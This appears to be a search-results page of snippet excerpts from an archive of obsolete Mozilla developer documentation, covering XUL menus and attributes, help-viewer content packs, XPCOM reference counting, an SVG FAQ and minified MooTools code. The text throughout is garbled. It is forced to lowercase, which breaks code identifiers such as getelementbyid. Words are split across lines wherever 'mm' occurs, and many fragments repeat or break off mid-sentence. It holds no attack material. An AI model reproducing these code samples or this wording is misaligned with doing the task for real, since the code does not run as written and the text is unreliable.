ry much. if you understand the basics of html or (preferably) xml, you'll understand the very basics of the syntax - elements, attributes, and element contents. understanding the syntax is important because small syntax errors can mean that a whole file won't be loaded correctly. however, while it may seem like this is a disadvantage, it's actually an advantage - if you make an error you'll know i
mmediately, and you should be able to easily figure out what the problem is by directly loading the file in firefox. later, when we get to actually writing content, you'll need to know xhtml, but for now knowledge of the syntax should be enough. open up your favorite text editor and create the file content-pack.rdf. insert into it the following text: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http:...
...search through help returns no results. nc:emptysearchlink specifies what uri should be shown when the pseudo-result "no results found" is accessed. this attribute is required. the sample page chrome://help/locale/welcome.xhtml has a section on searching which may be a useful link to use here. note that you can use the nc:datasources attribute to inherit content from other content packs. one co
mmon use of this is to inherit the small using the help window article provided with the viewer. for example, the following code uses a datasource outside the content pack you have created to include the article in a table of contents: <rdf:li> <rdf:description nc:panelid="toc" nc:datasources="chrome://help/locale/help-toc.rdf...
... <rdf:description nc:panelid="toc" nc:datasources="chrome://help/locale/help-toc.rdf chrome://foo/locale/help/glossary.rdf"/> </rdf:li> each of the different data source types (toc, index, glossary, and search) may be used multiple times (and in the case of platform-specific information, must be used multiple times). however, it is reco
mmended you use a space-separated list of uris for nc:datasources instead of separate entries, as separate entries will require a slightly longer time to load. the glossary file the glossary file has the simplest format of all the data sources you'll need because there's only one level of content. (the index, table of contents, and search data sources are more likely to be nested, complicating the...
...th your content pack, you need to have chrome://help/content/contexthelp.js loaded into the xul file that provides the ui to open the help viewer: <script type="application/javascript" src="chrome://help/content/contexthelp.js"/> this will allow you to access all of the viewer functions. to open the help viewer, run the openhelp() function. it's exactly the same as any javascript co
mmand, you you can insert it in co
mmand elements, onco
mmand attributes, and other such places. the parameters are described below: openhelp(atopic, acontentpackspec); atopic: the rdf:id of the topic you want to load as the home page in the help viewer. acontentpackspec: the path to the content pack you want to load. here is an example of how firefox opens its help documentation: openhelp('f...
jspage - Archive of obsolete content
:function(b,a){window[b]=window.prototype[b]=a;}});window.prototype={$family:{name:"window"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a);a.head=a.getelementsbytagname("head")[0]; a.html=a.getelementsbytagname("html")[0];if(browser.engine.trident&&browser.engine.version<=4){$try(function(){a.execco
mmand("backgroundimagecache",false,true); });}if(browser.engine.trident){a.window.attachevent("onunload",function(){a.window.detachevent("onunload",arguments.callee);a.head=a.html=a.window=null; });}return $extend(a,document.prototype);},afterimplement:function(b,a){document[b]=document.prototype[b]=a;}});document.prototype={$family:{name:"document"}}; new document(document);array.implement({every:f...
...t.keys.keyof(b);if(j=="keydown"){var d=b-111; if(d>0&&d<13){m="f"+d;}}m=m||string.fromcharcode(b).tolowercase();}else{if(j.match(/(click|mouse|menu)/i)){k=(!k.compatmode||k.compatmode=="css1compat")?k.html:k.body; var i={x:a.pagex||a.clientx+k.scrollleft,y:a.pagey||a.clienty+k.scrolltop};var c={x:(a.pagex)?a.pagex-f.pagexoffset:a.clientx,y:(a.pagey)?a.pagey-f.pageyoffset:a.clienty}; if(j.match(/do
mmousescroll|mousewheel/)){var h=(a.wheeldelta)?a.wheeldelta/120:-(a.detail||0)/3;}var e=(a.which==3)||(a.button==2);var l=null;if(j.match(/over|out/)){switch(j){case"mouseover":l=a.relatedtarget||a.fromelement; break;case"mouseout":l=a.relatedtarget||a.toelement;}if(!(function(){while(l&&l.nodetype==3){l=l.parentnode;}return true;}).create({attempt:browser.engine.gecko})()){l=false; }}}}return $ext...
...ch(function(e){e.create({bind:this,delay:a,"arguments":b})(); },this);return this;},cloneevents:function(d,a){d=document.id(d);var c=d.retrieve("events");if(!c){return this;}if(!a){for(var b in c){this.cloneevents(d,b); }}else{if(c[a]){c[a].keys.each(function(e){this.addevent(a,e);},this);}}return this;}});element.nativeevents={click:2,dblclick:2,mouseup:2,mousedown:2,contextmenu:2,mousewheel:2,do
mmousescroll:2,mouseover:2,mouseout:2,mousemove:2,selectstart:2,selectend:2,keydown:2,keypress:2,keyup:2,focus:2,blur:2,change:2,reset:2,select:2,submit:2,load:1,unload:1,beforeunload:2,resize:1,move:1,domcontentloaded:1,readystatechange:1,error:1,abort:1,scroll:1}; (function(){var a=function(b){var c=b.relatedtarget;if(c==undefined){return true;}if(c===false){return false;}return($type(this)!="docu...
...tentloaded:1,readystatechange:1,error:1,abort:1,scroll:1}; (function(){var a=function(b){var c=b.relatedtarget;if(c==undefined){return true;}if(c===false){return false;}return($type(this)!="document"&&c!=this&&c.prefix!="xul"&&!this.haschild(c)); };element.events=new hash({mouseenter:{base:"mouseover",condition:a},mouseleave:{base:"mouseout",condition:a},mousewheel:{base:(browser.engine.gecko)?"do
mmousescroll":"mousewheel"}}); })();element.properties.styles={set:function(a){this.setstyles(a);}};element.properties.opacity={set:function(a,b){if(!b){if(a==0){if(this.style.visibility!="hidden"){this.style.visibility="hidden"; }}else{if(this.style.visibility!="visible"){this.style.visibility="visible";}}}if(!this.currentstyle||!this.currentstyle.haslayout){this.style.zoom=1;}if(browser.engine.tri...
Modularization techniques - Archive of obsolete content
a2676} to initialize an id struct you declare them like this: id = {0x221ffe10, 0xae3c, 0x11d1, {0xb6, 0x6c, 0x00, 0x80, 0x5f, 0x8a, 0x26, 0x76}}; why the b66c couplet gets broken up and grouped with the last set of bytes is probably a footnote somewhere. on windows you can use the programs uuidgen and guidgen, which ship with visual c++, to generate ids. a simple example it is reco
mmended that you use xpidl to define your interfaces. this sample code should be updated to reflect this, but it gives you a good basic understanding of com from the c++ perspective. file nsisample.h nsisample.h defines an extremely simple interface and its interface id (iid). the important things to notice are that the interface inherits from nsisupports, and all member functions are pure virtua...
...lt nsunregisterself(const char *path); this allows a dll to register and unregister all its factories. a simple program called regfactory.exe (on windows) or regfactory (on unix) can be used to register self-registering dlls. reference counting basics reference counting is a critical part of modularity picture. there are a number of basic reference counting rules to remember. here's a quick su
mmary. out parameters functions that return a new interface should call addref() on that interface before returning it. nsresult getfoo(ifoo **afoores) { if (afoores == null) { return ns_error_null_pointer; } *afoores = mfoo; ns_addref(*afoores); return ns_ok; } remember that this applies to the interfaces returned by queryinterface(), createinstance() and ns_newx(), and you must...
...nto windows, but not most other platforms. the technology can be licensed from microsoft, but for obvious reasons we are not going to be doing that. in house equivalents to the important elements of this technology will be developed as needed. ...
...ation revision history feb 25, 1998, created oct 19, 1998, dusted off momentarily oct 10, 1999, added co
mments about xpidl, language-independentness original document information author(s): will scullin last updated date: september 13, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details ...
Mozilla Application Framework - Archive of obsolete content
unner to create your own application. related: xulrunner:what xulrunner provides, xulrunner hall of fame the mozilla application framework: for powerful, easy to develop cross-platform applications want to build applications? use the mozilla framework and make your life easier. we provide a comprehensive framework that does much of the work for you, tools to help you develop your apps, and a co
mmunity of people to help. framework xul a comprehensive, cross-platform ui toolkit with an easy-to-learn xml language for defining ui structure, a schema for localization, and support for both native and cross-platform (using css) look and feel to make writing uis quick and painless. gecko a performant web content rendering/editing engine with world-leading support for standards that you ...
..., a schema for localization, and support for both native and cross-platform (using css) look and feel to make writing uis quick and painless. gecko a performant web content rendering/editing engine with world-leading support for standards that you can drop into your application with a single line of xul. necko a wicked-fast, extensible networking library with built-in support for many co
mmon protocols and a well-defined plug-in interface for custom protocol handling so you can add the protocols you need. xpcom a simple, cross-platform component model with multiple language bindings and idl descriptions so you can plug your custom functionality into the framework and connect it with other components. web services built-in support for xmlhttprequest, xml-rpc, soap, and wsdl...
...ged which line when in each file bonsai a web interface to the checkin log that you can query for checkins between certain dates, of certain files, or by certain developers. tinderbox our 24/7 build and test webtool that constantly builds, tests, and reports on the mozilla application suite on multiple platforms so you can see the state of the application at any given point in time. co
mmunity a large, active development co
mmunity that interacts via newsgroups, mailing lists, irc channels, and web sites. flexible licensing with three licenses to choose from (mpl, lgpl, and gpl) so you can develop both open source and proprietary applications and combine the mozilla framework with other libraries. dozens of existing applications from both large and small development teams. d...
... ...
Frequently Asked Questions - Archive of obsolete content
es not appear to have any style information associated with it" then the problem is with the svg file. to be valid the root <svg> tag in svg files must have at least the following two "namespace bindings". <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> actually the second binding isn't always required, but unless you understand namespaces, we'd strongly reco
mmend you include it. for more information see this link. if source code is displayed without a gray area at the top, or if you just see gibberish, then the problem is server misconfiguration. when servers send user agents an svg file they must tell the user agent that the file has the mime type "image/svg+xml", and if the svg file is stored gzipped they must tell the browser that too. mozilla is s...
...nfiguration for svg see this link. why does mozilla show an "xml parsing error" message instead of svg? this is an xml debugging message to help xml authors correct errors in their xml documents. mozilla will show this message when there's an xml well formedness error in the file it tried to load. (it doesn't mean there's an error in mozilla.) there are many different xml errors, but the most co
mmon one in svg files is "xml parsing error: prefix not bound to a namespace". this is (almost certainly) because the 'xmlns:xlink' attribute has been used in the file without including the following two namespace bindings on the root <svg> tag. <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> make sure all your svg files have these bindings. for more informatio...
...ontent whenever possible. the first milestone builds that will have this support will be svg enabled builds of firefox 1.5. what can i do to help the svg project? okay so maybe this isn't such a frequently asked question, but if it was, just think how much further on with our svg implementation we could be! we're always looking for help from anyone willing to lend a hand. if you're a c++ progra
mmer interested in working on the svg implementation, please contact us and we'll be happy to help you get involved. alternatively, if you're an svg user you can help by testing the svg enabled nightlies and filing bugs with minimal testcases whenever you encounter a problem. if you can't do either of these things you should still feel free to ask us friendly questions and give us constructive feedb...
... mozilla.dev.tech.svg which is archived here. alternatively you can email any of us directly of course (see the preceeding question for our email addresses). original document information author(s): jonathan watt last updated date: november 6, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Space Manager Detailed Design - Archive of obsolete content
o the current * coordinate space. */ void translate(nscoord adx, nscoord ady) { mx += adx; my += ady; } /** * returns the current translation from local coordinate space to * world coordinate space. this represents the accumulated calls to * translate(). */ void gettranslation(nscoord& ax, nscoord& ay) const { ax = mx; ay = my; } /** * returns the y-most of the botto
mmost band or 0 if there are no bands. * * @return pr_true if there are bands and pr_false if there are no bands */ prbool ymost(nscoord& aymost) const; /** * returns a band starting at the specified y-offset. the band data * indicates which parts of the band are available, and which parts * are unavailable * * the band data that is returned is in the coordinate space o...
...inate space relative to the current * coordinate space. */ void translate(nscoord adx, nscoord ady) { mx += adx; my += ady; } /** * returns the current translation from local coordinate space to * world coordinate space. this represents the accumulated calls to * translate(). */ void gettranslation(nscoord& ax, nscoord& ay) const { ax = mx; ay = my; } /** * returns the y-most of the botto
mmost band or 0 if there are no bands. * * @return pr_true if there are bands and pr_false if there are no bands */ prbool ymost(nscoord& aymost) const; region management /** * returns a band starting at the specified y-offset. the band data * indicates which parts of the band are available, and which parts * are unavailable * * the band data that is returned is in the coordinate space o...
... if so, return an error (note: this could be done earlier, or prevented by the caller) allocate a new bandrect instance with the rect and frame as constructor arguments, and insert it into the collection via insertbandrect insertbandrect: internal method to insert a band rect into the bandlist in the correct location. there are several cases it has to handle, as specified in the source file co
mments: // when comparing a rect to a band there are seven cases to consider. // 'r' is the rect and 'b' is the band. // // case 1 case 2 case 3 case 4 // ------ ------ ------ ------ // +-----+ +-----+ +-----+ +-----+ // | r | | r | +-----+ +-----+...
...in this case,just append the band rect and return. starting at the head of the list of bandrects, check for intersection with the rect passed in: case #1: the rect is totally above the current band rect, so insert a new band rect before the current bandrect cases #2 and #7: the rect is partially above the band rect, so it is divided into two bandrects, one entirely above the band, and...
Table Layout Regression Tests - Archive of obsolete content
be defined (so ac_add_options --enable-tests), patience and time. test runs go to the %moz_src%/layout/html/tests/block directory. avoid the nasty assertions to pop up by set xpcom_debug_break=warn, the world would be a much better place if we could first fix those assertions. as you will probably run your normal mozilla in parallel with the testing issue then: set moz_no_remote=1 at the co
mmand prompt. start the layout debugger via mozilla -layoutdebug - p foo where foo is just another profile than your main profile. select from the regression-test menu the add new list...entry. select %moz_src%/layout/html/tests/block/rtest.lst. execute the baseline test shutdown the layoutdebugger execute mozilla -layoutdebug - p foo >selftest.txt execute the verify test make a note which t...
...n for file:///e:/moz_src/mozilla/layout/html/tests/table/core/baseline/standards1.rgd failed. the first regression test has failed and it is marked so. adding new regression tests once you have checked in the code: please add your testcase for the bug to the regression tests. a testcase should only contain local files. ...
...please contact if you need help with running those tests. i would like to thank chris karnaze for his guidance and fantasai for her language support. ...
... help with running those tests. i would like to thank chris karnaze for his guidance and fantasai for her language support. original document information author(s): bernd mielke other contributors: boris zbarsky last updated date: february 5, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
label - Archive of obsolete content
« xul reference home label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. ...
... that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. ...
...s copied to the menulist.value property upon user selection of the menuitem. ...
... id="the-big-label" co
mmand="the-big-button"/> <button id="the-big-button" label="click me" onco
mmand="alert(document.getelementbyid('the-big-label').value)"/> <label id="mylabel" value="my label"/> <button label="click me" onco
mmand="document.getelementbyid('mylabel').setattribute('value','value changed');" /> <checkbox label="my checkbox" id="mycheckbox"/> <button label="another click" onco
mmand="document.getelementbyid('mycheckbox').setattribute('label','still not checked');"/> <button label="show label of checkbox" onco
mmand="alert( document.getelementbyid('mycheckbox').getattribute('label') )"/> ...
reserved - Archive of obsolete content
« xul reference home reserved type: string this attribute applies to a co
mmand element. setting this attribute to "true" indicates that the co
mmand is reserved for chrome code and is not available for use in the content. this means that, to execute these co
mmands, key events won't be passed to content, and event listeners registered for them in content will not be executed. currently, the content still receives these key events, even though it can't override them. in future releases, it won't receive them. see bug 1173061 for details. ...
...rome code and is not available for use in the content. this means that, to execute these co
mmands, key events won't be passed to content, and event listeners registered for them in content will not be executed. currently, the content still receives these key events, even though it can't override them. in future releases, it won't receive them. see bug 1173061 for details. ...
...t. this means that, to execute these co
mmands, key events won't be passed to content, and event listeners registered for them in content will not be executed. currently, the content still receives these key events, even though it can't override them. in future releases, it won't receive them. see bug 1173061 for details. ...
...hese co
mmands, key events won't be passed to content, and event listeners registered for them in content will not be executed. currently, the content still receives these key events, even though it can't override them. in future releases, it won't receive them. see bug 1173061 for details. ...
textbox.type - Archive of obsolete content
umbers. in addition, arrow buttons appear next to the textbox to let the user step through values. there are several attributes that allow the number textbox to be configured, including decimalplaces, min, max, increment, wraparound, hidespinbuttons, and textbox.value. password a textbox that hides what is typed, used for entering passwords. search a textbox intended for searching. ...
...er step through values. there are several attributes that allow the number textbox to be configured, including decimalplaces, min, max, increment, wraparound, hidespinbuttons, and textbox.value. password a textbox that hides what is typed, used for entering passwords. search a textbox intended for searching. the co
mmand event will fire as the user modifies the value. a listener for the co
mmand event should update search results. if the searchbutton attribute is set to true, the co
mmand event is only fired if the user presses the search button or presses the enter key. you may specify grey text to appear when the search box is empty using the emptytext attribute, and a timeout may be set for the co
mmand event using the timeout attribute (defaults to 500). timed this textbox wil...
...the timed type is deprecated in gecko 1.9.1 and the search textbox may be used instead. ...
...the timed type is deprecated in gecko 1.9.1 and the search textbox may be used instead. ...
Introduction to XUL - Archive of obsolete content
browser. ui descriptions, then, look a great deal like html 4. xul is an application of xml. in fact, it is just xml with specific meaning defined for a few element types, and into which html can be scattered. terms "xpfe" is the term mozilla-the-organization is using to describe mozilla-the-browser's cross platform front end, because x and c look similar if you beat them long and hard with a ha
mmer. the intention is to build cross-platform applications like browsers and mail clients from a set of tools designed for that purpose. the intention is not to implement a generic cross-platform application framework. that's been done, and is a great deal of work. we intend to provide a subset of cross-platform functionality suitable for building network applications like browsers, leveraging the ...
...iour and linkage between the widgets. this linkage can be accomplished by including javascript in the xul, or by application code which walks the content model after it has been built from xul, and hooks up event listeners. generally a real application will use some combination of the two. applications, for instance, will have preconceived notions of what to do when they receive an "open file" co
mmand. an "open" button is simply a button. it will send its co
mmand to the application for processing, generally using some simple javascript for linkage. we are at first primarily concerned with the obvious ui components: toolbars, menus and dialogs. conceptually, the xul language will allow someone with a text editor, given a package of components which can work together, the ability to put toge...
...nvolved in the chrome description to be moved without affecting the xul source. so it's just an indirection. someday, there will be a complete description of this mechanism at packages, but for now there's a good but somewhat out of date document at configurable chrome available for more information. scripting a xul interface is only a collection of disconnected widgets until it has been progra
mmed. "progra
mming" can be as simple as some javascript to tie the widgets together and perhaps to give them extra functionality, or as complex as application (c++) code which is free to do ... anything. this paper will concentrate on javascript, deeming application progra
mming to be beyond its scope. javascript xul can contain html content, including javascript. javascript functions may be added ...
...d additions. each widget will define a unique xml syntax for describing itself; see the widget documentation referenced at the index for details. other infrastructure widgets may have javascript event handlers just as in html, and are tied together using javascript and broadcaster nodes. broadcaster nodes are declared as <broadcaster> elements in the xul description, and are involved with the co
mmunication of changes of state between widgets. a widget or several widgets can arrange to have the value of one of their attributes be tied to a broadcaster node. this tie is defined within the xul: <xul:window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <broadcaster id="cangoback"/> <titledbutton src="resource:/res/toolbar/tb_back.gif" align="bottom" v...
startFind - Archive of obsolete content
« xul reference home startfind( mode ) return type: no return value call this method to handle your application's "find" co
mmand. this opens the findbar, focuses the edit field for the search term, and selects its contents. the first time this is called for a given findbar, the findbar will flash to draw attention to itself. the mode should be one of find_normal, find_typeahead, or find_links. if you don't pass a mode, the last-used mode for the same findbar is used. if the findbar hasn't been used before, find_normal is the default. ...
... contents. the first time this is called for a given findbar, the findbar will flash to draw attention to itself. ...
... time this is called for a given findbar, the findbar will flash to draw attention to itself. ...
... given findbar, the findbar will flash to draw attention to itself. ...
Extensions - Archive of obsolete content
d items that don't apply to that type of element are hidden from the menu as needed. thus, you can add items to the firefox context menu by overlaying this single menu. this context menu has the id 'contentareacontextmenu'. in this example, a single item is added to the end of the firefox context menu. <popup id="contentareacontextmenu"> <menuitem id="thumbnail-show" label="view thumbnail" onco
mmand="thumbnails.view();"/> </popup> note that the popup element is used rather than the menupopup element as this is the element that firefox uses. the code above will append the new item at the end of the context menu. if you want to place the item at a specific location within the context menu rather than at the end, you can use either the insertbefore or insertafter attributes to insert it b...
...lement as this is the element that firefox uses. the code above will append the new item at the end of the context menu. if you want to place the item at a specific location within the context menu rather than at the end, you can use either the insertbefore or insertafter attributes to insert it before or after another item specified by an id. for example, the following may be used to insert a co
mmand just after the 'select all' co
mmand: <popup id="contentareacontextmenu"> <menuitem label="select links" onco
mmand="thumbnails.selectalllinks();" insertafter="context-selectall"/> </popup> see firefox context menu for a list of the ids of the items found on the firefox context menu. showing and hiding context menu items to have a menuitem you have added be shown or hidden bas...
...howing menu items based on context. determining what element was context clicked for general information about how to determine which element was the target of the context menu, that is, the element that was context clicked, see determining what was context clicked firefox uses its own popupshowing event listener to adjust the items on the context menu. this allows the menu to have different co
mmands for different types of targets. while the popup is open, the gcontextmenu global variable is set to an object which handles all of the functionality specific to the firefox context menu. specifically, this object is initialized with a set of properties that indiciate the type of object that was the target of the context menu. for instance, the 'onlink' property is set to true when a link was ...
...et of properties that indiciate the type of object that was the target of the context menu. for instance, the 'onlink' property is set to true when a link was context-clicked. you may wish to use these properties instead of determining the type yourself, as the code already handles various special and complex cases that would take a lot of code to deal with manually. the following are the most co
mmon properties that you can check. an example follows. target the element that was context clicked. if the keyboard was used to open a context menu, this will be the focused element. ontextinput true if the target is a plain or password type input, a textarea, or an editable area. this would be used to enable or disable co
mmands related to text editing. onimage ...
Special per-platform menu considerations - Archive of obsolete content
for instance, on windows, the menu item which exits the application is labeled "exit" and is normally placed at the end of the file menu. the mac application menu on the macintosh, an extra menu exists beside the file menu; its name is the same as the name of the application. this menu contains a number of items that pertain to the application. ...
...nu. the mac application menu on the macintosh, an extra menu exists beside the file menu; its name is the same as the name of the application. this menu contains a number of items that pertain to the application. for instance, this is the proper place to put the menu items which open the application preferences and which quit the application. this can be accomplished by ensuring that certain co
mmon ids are set for the menu items that need to be placed on the application menu. on the mac, these menu items will be moved onto the application menu, but on other platforms, they will be left in their original locations. this makes it easier to write the same xul code for all platforms. here is a list of the menu item ids which are automatically handled. menu_filequitseparator the s...
...t opens the update dialog for the application, for applications that have one (such as seamonkey; firefox does not have this item). the last five items aren't normally used but are listed for completeness. ...
... notes for firefox extension developers on the mac, some elements, once moved to the application menu, are no longer accessible from xul overlays or from javascript injected into browser.xul. ...
Popup Guide - Archive of obsolete content
ound by following the corresponding links. a popup is not created as a separate window or file, instead it is included inside another window or dialog. in this guide, the term 'popup' refers to all types of popups, whereas the term 'menu' refers to a specific type of popup. specifically, the first two types in the list below are menus. menus a menu is used when you wish to have a series of co
mmands that can be activated by the user, but don't want to use the extra space for a button for each co
mmand. a menu is normally hidden, and when activated, a popup appears containing the list of co
mmands. the user may select a co
mmand and the menu disappears again. a menu is created using the menupopup element. it displays items in a list, can display submenus, and provides keyboard navigation be...
... panels a panel can contain any type of content. it is useful when you wish to display some controls temporarily over the existing ui. ...
... panels a panel can contain any type of content. ...
...s see special per-platform menu considerations for some notes about handling menus on certain platforms, for instance creating the application menu on a macintosh. using popups in extensions extensions may add additional menuitems either to a menu on the menu bar or to the context menu. in addition, an extension may add an entirely new menu. for example, an extension might wish to add a new co
mmand on the tools menu to open a dialog specific to the extension. another co
mmon task is to create an extension which adds an item to the browser's context menu. see using menus and popups in extensions for details. ...
controllers - Archive of obsolete content
« xul reference controllers type: nsicontrollers a controllers list attached to the element. the controllers are used to respond to co
mmands. the document's co
mmand dispatcher will locate controllers to handle a co
mmand by using the focused element's list. ...
...he document's co
mmand dispatcher will locate controllers to handle a co
mmand by using the focused element's list. ...
...le a co
mmand by using the focused element's list. ...
...nit();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportsco
mmand : function(cmd){ return (cmd == "cmd_delete"); }, isco
mmandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, doco
mmand : function(cmd){ list.removeitemat(list.selectedindex); }, onevent : function(evt){ } }; list.controllers.appendcontroller(listcontroller); } </script> <listbox id="thelist"> <listitem label="ocean"/> <listitem label="desert"/> <listitem label="jungle"/> <listitem label="swamp"/> </listbox> </window> ...
Template Builder Interface - Archive of obsolete content
have this property set to null. the processes of creating a builder for an element applies both when an element is created when the window is loaded and when an element is inserted dynamically. templates can only be used in xul documents, however, there is no requirement that the templates generate xul elements. they could also be used, for example, to generate html elements. ...
...econstruct it from the beginning. the only difference is that the datasource has already loaded so the data will be the same. however, this is often used if you modify the datasource or modify the rules. for rdf datasources, the builder's refresh method, however, will reload the datasources. it will not rebuild the template, but we'll see in a later section why this is not usually necessary. to su
mmarize, the refresh method reloads the data, whereas the rebuild method reconstructs the content. the builder is accessible to unprivileged code, so the rebuild and refresh methods may be called by remote code. changing the datasource you can modify the datasource that is used for a template by setting the value of the datasources attribute on the root element. changing this attribute causes the ne...
...attribute separated by spaces. for example: <vbox datasources="template-guide-photos5.rdf template-guide-streets.rdf"> sometimes, you will want to calculate the datasource to be used and attach it to the template later. you can do this using the composite datasource's adddatasource method. you can add as many datasources as you wish, and you can remove them using the removedatasource method. a co
mmon pattern is to use the following: var rdf = components.classes["@mozilla.org/rdf/rdf-service;1"]. getservice(components.interfaces.nsirdfservice); var ds = rdf.getdatasource("http://www.xulplanet.com/ndeakin/tests/xul/template-guide-streets.rdf"); var tree = document.getelementbyid("thetree"); tree.database.adddatasource(ds); tree.builder.rebuild(); this is the typical way to add ...
...lder.refresh(); this will reload the datasource attached to the template. if there is more than one datasource, as above, all of them will be reloaded. due to the nature of the way templates are updated, you don't usually need to rebuild a template after a refresh call, although there may situtations where this will be necessary. if you do plan on determining the datasources dynamically, it is co
mmon to start with an empty datasource using the special uri 'rdf:null'. <tree datasources="rdf:null" ref="http://www.xulplanet.com/rdf/myphotos"> this will create a composite datasource with no datasources in it. this syntax is necessary as otherwise you wouldn't be able to specify a value for the datasources attribute, and a template builder would not be attached to the element. in a chrome conte...
Creating a Window - Archive of obsolete content
entirely if you wish to have vertical orientation. xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> this line declares the namespace for xul, which you should put on the window element to indicate that all of its children are xul. note that this url is never actually downloaded. mozilla will recognize this url internally. <!-- other elements go here --> replace this co
mment block with other elements (the buttons, menus and other user interface components) to appear in the window. we'll add some of these in the next set of sections. </window> and finally, we need to close the window tag at the end of the file. opening a window in order to open a xul window, there are several methods that can be used. if you are only in the development stage, you can just typ...
..., and press the evaluate button, or the return or enter key. the findfile.xul example let's begin by creating the basic file for the find file dialog. create a file called findfile.xul and put it in the content directory specified in the findfile.manifest file (we've created in the previous section). add the xul template shown at the top of this page to the file and save it. ...
... use the co
mmand-line parameter '-chrome' to specify the xul file to open when mozilla starts. if this is not specified, the default window will open. (usually the browser window.) for example, we could open the find files dialog with either of the following: mozilla -chrome chrome://findfile/content/findfile.xul mozilla -chrome resource:/chrome/findfile/content/findfile.xul if you run this co
mmand from a co
mmand-line (assuming you have one on your platform), the find files dialog will open by default instead of the mozilla browser window. of course, because we haven't put any ui elements in the window, you won't see a window appear. we'll add some elements in the next section. ...
... firefox -chrome chrome://browser/content/places/places.xul the '-chrome' argument doesn't give the file any additional privileges. instead, it causes the specified file to open as a top-level window without any browser chrome, such as the address field or menu. ...
More Menu Features - Archive of obsolete content
uitem label="window"/> <menuitem label="message"/> </menupopup> </menu> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> </menubar> </toolbox> adding a menu to our find files example let's add a menu to the find files dialog. we'll just add a few simple co
mmands to a file menu and an edit menu. this is similar to the example above. <toolbox> <menubar id="findfiles-menubar"> <menu id="file-menu" label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem label="open search..." accesskey="o"/> <menuitem label="save search..." accesskey="s"/> <menuseparator/> <menuitem label="close" accesskey="c"/> </menupopup...
...w...
... <menuitem label="paste" accesskey="p" disabled="true"/> </menupopup> </menu> </menubar> <toolbar id="findfiles-toolbar> here we have added two menus with various co
mmands on them. notice how the menu bar was added inside the toolbox. the three dots after open search and save search are the usual way that you indicate to the user that a dialog will open when selecting the co
mmand. access keys have been added for each menu and menu item. you will see in the image that this letter has been underlined in the menu label. also, the paste co
mmand has been disabled. we'll assume that there's nothing to paste. our find files example so far : source view adding checkmarks to menus many applications have menu items that have checks on them. for example, a feature that is enab...
... each menu and menu item. you will see in the image that this letter has been underlined in the menu label. also, the paste co
mmand has been disabled. we'll assume that there's nothing to paste. our find files example so far : source view adding checkmarks to menus many applications have menu items that have checks on them. for example, a feature that is enabled has a check placed beside the co
mmand and a feature that is disabled has no check. when the user selects the menu, the check state is switched. you may also want to create radio buttons on menu items. the checks are created in a similar way to the checkbox and radio elements. this involves the use of two attributes: type to indicate the type of check, and name to group co
mmands together. the example below creates a menu with a che...
RDF Datasources - Archive of obsolete content
eptiles. setting the ref attribute example the example below shows how to display a particular piece of an rdf datasource by setting the ref attribute. ...
...rdf datasource by setting the ref attribute. example 3 : source view <window id="example-window" title="history list" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button label="click here to see the ma
mmals the zoo has" type="menu" datasources="animals.rdf" ref="http://www.some-fictitious-zoo.com/ma
mmals"> <template> <rule animals:specimens="0"></rule> <rule> <menupopup> <menuitem uri="rdf:*" label="rdf:http://www.some-fictitious-zoo.com/rdf#name"/> </menupopup> </rule> </template> </button> </window> in this case only the ma
mmals are desired, so we select the uri of the ma
mmals list. you will notice that the value of the ref attribute in the example is ht...
...this causes only the descendants of this list to be returned. two rules have been used here. ...
... on each of the description elements. some of them have a value of 0. so in these cases, rule one will match. because rule one has no content, nothing will be displayed for these ones. this is an effective way to hide data that we don't want to display. the second rule applies to all other resources and creates a row in a popup menu. the end effect is that we get a popup menu containing all the ma
mmals which have a specimen that is not 0. next, we'll look at the full rule syntax. « previousnext » ...
Simple Menu Bars - Archive of obsolete content
enu bar and its menus, which are explained briefly here and in detail afterwards: menubar the container for the row of menus. menu despite the name, this is actually only the title of the menu on the menubar. this element can be placed on a menubar or can be placed separately. menupopup the popup box that appears when you click on the menu title. this box contains the list of menu co
mmands. menuitem an individual co
mmand on a menu. this would be placed in a menupopup. menuseparator a separator bar on a menu. this would be placed in a menupopup. you can customize the menus on the menubar to have whatever you want on them on all platforms except the macintosh. this is because the macintosh has its own special menu along the top of the screen controlled by the system.
... bar is created using the menubar element. it will create a row for menus to be placed on. two menus, file and edit have been created here. the menu element creates the title at the top of the menu, which appears on the menu bar. the popups are created using the menupopup element. it will pop up when the user clicks on the parent menu title. the size of the popup will be large enough to fit the co
mmands inside it. the co
mmands themselves are created using the menuitem element. each one represents a single co
mmand on the menu popup. you can also create separators on the menus using the menuseparator element. this is used to separate groups of menuitems. menubar element the menubar is a box containing menus. note that it has been placed inside a flexible toolbox. the menubar has no special ...
...d specify a character that exists in the text (although the key will still work if it doesn't). the menu element is normally placed on a menubar, although it does not have to be. however, it will be given a different look. the image here shows what the earlier example would look like without the menu bar. menupopup element the menupopup element creates the popup window containing the menu co
mmands. it is a type of box which defaults to a vertical orientation. you could change it to horizontal if you wanted to and the menuitems would be placed in a row. normally only menuitems and menuseparators would be placed on a menupopup. you can place any element on a menupopup, however they will be ignored on a macintosh. menuitem element the menuitem element is much like the menu element and h...
